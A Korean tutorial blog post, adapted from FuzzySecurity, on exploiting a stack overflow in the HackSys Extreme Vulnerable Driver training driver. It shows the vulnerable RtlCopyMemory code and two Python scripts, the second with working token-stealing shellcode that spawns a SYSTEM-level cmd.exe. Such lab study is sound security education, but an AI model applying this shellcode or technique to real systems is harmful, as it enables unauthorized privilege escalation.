[Kernel Exploitation] Stack Overflow



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 10 -> Stack Overflow를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약 드라이버 로드

먼저 Driver Entry를 분석 해보겠습니다.

 

아래 취약 드라이버에는 IOCTL 인터페이스가 정의되어 있습니다. 따라서 유저 모드에서 IOCTL을 이용하여 함수 호출이 가능합니다.
유저모드에서 함수를 호출할 경우 드라이버의 MajorFunction[IRP_MJ_DEVICE_CONTROL]가 호출됩니다.

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { //DriverObject -> 시스템에 의해 만들어진 드라이버 오브젝트를 가리킨다. //RegistryPath -> 이 드라이버를 위한 서비스 노드 이름을 가리킨다. UINT32 i = 0; PDEVICE_OBJECT DeviceObject = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNICODE_STRING DeviceName, DosDeviceName = { 0 }; UNREFERENCED_PARAMETER(RegistryPath); PAGED_CODE(); RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver"); //DriverEntry는 DriverObject 구조체를 원하는 값으로 초기화한다. //보통 드라이버에 대한 디바이스 오브젝트를 생성하기 위해 I/O Manager 의 IoCreateDevice를 호출한다. // Create the device Status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); if (!NT_SUCCESS(Status)) { // Delete the device IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("[-] Error Initializing HackSys Extreme Vulnerable Driver\n"); return Status; } // Assign the IRP handlers for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { // Disable the Compiler Warning: 28169 #pragma warning(push) #pragma warning(disable : 28169) DriverObject->MajorFunction[i] = IrpNotImplementedHandler; #pragma warning(pop) } // 구조체를 IRP 핸들러에 대한 포인터로 초기화 한다. //I/O Manager는 유저 모드의 애플리케이션에서 메시지와 내부 컨트롤 메시지를 분배하는데 이 포인터를 이용한다. //예를들어 Win32 애플리케이션이 CreateFile을 호출해 파일을 열었을때 I/O Manager 는 DriverObject->MajorFunction[IRP_MJ_CREATE] 가 가리키는 곳에 위치한 함수를 호출한다. // Assign the IRP handlers for Create, Close and Device Control DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateHandler; DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCloseHandler; //드라이버에 대한 핸들을 닫을때 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; // // Assign the driver Unload routine DriverObject->DriverUnload = IrpUnloadHandler; // Set the flags DeviceObject->Flags |= DO_DIRECT_IO; DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; // Create the symbolic link Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName); // Show the banner DbgPrint("%s", BANNER); DbgPrint("[+] HackSys Extreme Vulnerable Driver Loaded\n"); return Status; } .....생략..... NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { ULONG IoControlCode = 0; PIO_STACK_LOCATION IrpSp = NULL; NTSTATUS Status = STATUS_NOT_SUPPORTED; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n"); Status = StackOverflowIoctlHandler(Irp, IrpSp); DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n"); break; ....생략.....

 

Step 2. 취약점 분석

아래는 스택 오버플로우 취약점이 발생하는 코드의 일부입니다.


RtlCopyMemory 함수는 유저 버퍼를 커널 버퍼로 복사하는 기능을 수행합니다.
안전한 코딩을 보면 버퍼의 사이즈를 커널 버퍼사이즈로 제한하고 있지만 그렇지 않은 경우 인자값 그대로의 사이즈가 들어가 오버플로우가 발생됩니다.

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
	NTSTATUS Status = STATUS_SUCCESS;
	ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

	PAGED_CODE();

	__try {
		// Verify if the buffer resides in user mode
		ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

		DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
		DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
		DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
		DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE // 안전한 코딩
		// Secure Note: This is secure because the developer is passing a size
		// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
		// there will be no overflow
		RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else //취약한 코딩
		DbgPrint("[+] Triggering Stack Overflow\n");

		// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
		// because the developer is passing the user supplied size directly to
		// RtlCopyMemory()/memcpy() without validating if the size is greater or
		// equal to the size of KernelBuffer
		RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

Step 3. Exploit

취약함 함수를 찾아냈으니 Exploit을 시도하겠습니다.


먼저 유저모드에서 IOCTL을 호출하기 위해서 DeviceIoControl api를 사용합니다.
Device 핸들, IoControlCode, UserBuffer등을 설정해줍니다.

BOOL WINAPI DeviceIoControl(
	_In_ HANDLE hDevice,
	_In_ DWORD dwIoControlCode,
	_In_opt_ LPVOID lpInBuffer,
	_In_ DWORD nInBufferSize,
	_Out_opt_ LPVOID lpOutBuffer,
	_In_ DWORD nOutBufferSize,
	_Out_opt_ LPDWORD lpBytesReturned,
	_Inout_opt_ LPOVERLAPPED lpOverlapped
);

 

IoControlCode를 취약한 드라이버 소스에서 찾습니다.

IrpDeviceIoCtlHandler를 분석합니다.

 

 

 

 

2236419 -> 0x222003, IoControlCode는 0x222003이라는 것을 확인 할 수 있습니다.

 

 

 

 

 

RtlCopyMemory 함수에 유저버퍼가 2080바이트가 초과되어 들어오면 오버플로우가 발생합니다.

 

 

 

파이썬 스크립트를 이용하여 EIP 덮어쓰기를 시도합니다.

import win32file

hDevice = win32file.CreateFile(r'\\.\HackSysExtremeVulnerableDriver', #드라이버를 열고 해당 장치를 제어할 수 있는 핸들을 반환한다

	win32file.GENERIC_READ | win32file.GENERIC_WRITE,

	win32file.FILE_SHARE_READ | win32file.FILE_SHARE_WRITE,

	None,

	win32file.OPEN_EXISTING,

	win32file.FILE_ATTRIBUTE_NORMAL | win32file.FILE_FLAG_OVERLAPPED,

	None)

#---[EIP overwrite]

	# 0x41 = 0x800 (buffer)

	# 0x42 = 28 (filler)

	# 0x43 = 4 (EBP)

	# 0x44 = 4 (EIP)

#---

	buffer = "\x41"*int('0x800', 16) + "\x42" * 28 + "\x43" * 4 + "\x44" * 4

	if hDevice:

win32file.DeviceIoControl(hDevice, 0x222003, buffer, 0, None) #드라이버와 어플리케이션 간의 커뮤니케이션을 위해 사용한다

hDevice.close()

 

EIP가 444444로 덮어씌어진것을 확인할 수 있습니다.

 

 

 

이제 EIP를 컨트롤 할 수 있는것을 확인했으니 쉘코드를 작성하여 Exploit을 시도하겠습니다.

import win32file

import ctypes

from ctypes import *

from ctypes.wintypes import *

import os

import struct

hDevice = win32file.CreateFile(r'\\.\HackSysExtremeVulnerableDriver',

	win32file.GENERIC_READ | win32file.GENERIC_WRITE,

	win32file.FILE_SHARE_READ | win32file.FILE_SHARE_WRITE,

	None,

	win32file.OPEN_EXISTING,

	win32file.FILE_ATTRIBUTE_NORMAL | win32file.FILE_FLAG_OVERLAPPED,

	None)




#---[EIP overwrite]

	# 0x41 = 0x800 (buffer)

	# 0x42 = 28 (filler)

	# 0x43 = 4 (EBP)

	# 0x44 = 4 (EIP)

#---------------




	shellcode = bytearray(

		"\x60" # pushad

		"\x33\xc0" # xor eax, eax

		"\x64\x8b\x80\x24\x01\x00\x00" # mov eax, DWORD PTR fs : [eax + 0x124]

		"\x8b\x40\x50" # mov eax, DWORD PTR[eax + _KPROCESS]

		"\x8b\xc8" # mov ecx, eax

		"\x8b\x80\xB8\x00\x00\x00" # mov eax, DWORD PTR[eax + APLINKS]

		"\x2d\xB8\x00\x00\x00" # sub eax, APLINKS

		"\x83\xb8\xB4\x00\x00\x00\x04" # cmp DWORD PTR[eax + UPID], 0x4

		"\x75\xec" # jne 0xe

		"\x8b\x90\xF8\x00\x00\x00" # mov edx, DWORD PTR[eax + TOKEN]

		"\x89\x91\xF8\x00\x00\x00" # mov DWORD PTR[ecx + TOKEN], edx

		"\x61"

		"\x33\xC0"

		"\x5D"

		"\xC2\x08\x00"

	)

	ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), #메모리를 할당하여 shellcode를 저장할 공간을 마련한다.

		ctypes.c_int(len(shellcode)),

		ctypes.c_int(0x3000),

		ctypes.c_int(0x40))




	buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)




	ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), #VirtualAlloc을 이용하여 할당된 공간에 shellcode를 저장한다.

		buf,

		ctypes.c_int(len(shellcode)))

	buffer = "\x41"*int('0x800', 16) + "\x42" * 32 + struct.pack("L", ptr)

	if hDevice :

		win32file.DeviceIoControl(hDevice, 0x222003, buffer, 0, None) # EIP를 shellcode가 저장된 메모리 주소로 덮어씌운다.

		os.system("cmd.exe")

		hDevice.close()

 

Python 스크립트가 실행되면 shellcode가 실행되고 권한상승이 이루어진 cmd를 확인할 수 있습니다.

 

이 글을 공유하기

댓글